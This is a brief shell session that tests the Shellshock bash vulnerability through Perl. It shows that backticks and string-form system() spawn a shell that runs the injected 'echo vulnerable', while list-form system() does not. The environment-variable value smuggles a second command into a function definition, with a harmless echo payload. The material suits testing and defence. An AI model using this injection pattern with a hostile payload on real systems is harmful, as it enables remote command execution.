sh-3.2$ env x='() { :;}; echo vulnerable' perl -e 'print `echo test;`'
vulnerable
test
sh-3.2$ env x='() { :;}; echo vulnerable' perl -e 'system "echo test;"'
vulnerable
test
sh-3.2$ env x='() { :;}; echo vulnerable' perl -e 'system qw(echo test;)'
test;